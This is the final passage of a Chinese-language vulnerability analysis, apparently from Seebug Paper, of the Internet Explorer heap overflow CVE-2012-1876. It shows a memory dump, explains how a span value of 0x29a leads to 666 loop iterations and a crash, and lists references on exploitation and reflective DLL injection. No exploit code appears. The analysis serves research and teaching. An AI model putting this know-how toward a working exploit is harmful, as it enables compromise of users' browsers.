0249beac  00000000 00000000 00000000 0000029a
0249bebc  00000000 00414114 00000000 00000000
0249becc  0249c0e8 6c71a6b8 00000006 0249c160
0249bedc  0000029a 00000000 0019fd70 0019fd70
0249beec  6c7c78ad 6cb4b03c 001be050 00000000
0249befc  ffffffff 00000000 77502fe7 750c0282
0249bf0c  00000000 00000000 ffffffff 00000000

可以看到ebp+10h對應此時的span屬性值0x29a,所以程序最終將會執行666次循環。堆溢出發生后程序繼續運行會造成內存訪問違規,從而導致IE瀏覽器的崩潰。

本文內容比較基礎,有興趣的可以動手操作一遍,漏洞的利用部分我們將在下篇文章中介紹,敬請期待。

0x04 參考

http://www.vupen.com/blog/20120710.Advanced_Exploitation_of_Internet_Explorer_HeapOv_CVE-2012-1876.php (Web Archive)
https://github.com/stephenfewer/ReflectiveDLLInjection
http://bbs.pediy.com/showthread.php?t=149527


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/179/